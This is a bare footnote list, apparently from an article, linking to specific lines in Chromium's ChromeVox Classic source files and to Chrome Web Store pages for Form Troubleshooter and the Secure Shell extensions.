https://source.chromium.org/chromium/chromium/src/+/main:ui/accessibility/extensions/chromevoxclassic/chromevox/injected/api_implementation.js;l=71;drc=a7bb5589468949d3c12d3e067621eb51252ee031 ↩
https://source.chromium.org/chromium/chromium/src/+/main:ui/accessibility/extensions/chromevoxclassic/chromevox/injected/api_implementation.js;l=312;drc=a7bb5589468949d3c12d3e067621eb51252ee031 ↩
https://source.chromium.org/chromium/chromium/src/+/main:ui/accessibility/extensions/chromevoxclassic/chromevox/injected/api_util.js;l=78;drc=3e1a26c44c024d97dc9a4c09bbc6a2365398ca2c ↩
https://source.chromium.org/chromium/chromium/src/+/main:ui/accessibility/extensions/chromevoxclassic/chromevox/injected/pdf_processor.js;l=138;drc=3e1a26c44c024d97dc9a4c09bbc6a2365398ca2c ↩
https://chrome.google.com/webstore/detail/form-troubleshooter/lpjhcgjbicfdoijennopbjooigfipfjh ↩ ↩2
https://chrome.google.com/webstore/detail/secure-shell/iodihamcpbpeioajjeobimgagajmlibd ↩ ↩2
https://chrome.google.com/webstore/detail/deprecated-secure-shell-a/pnhechapfaindjhompbnflcldabbghjo ↩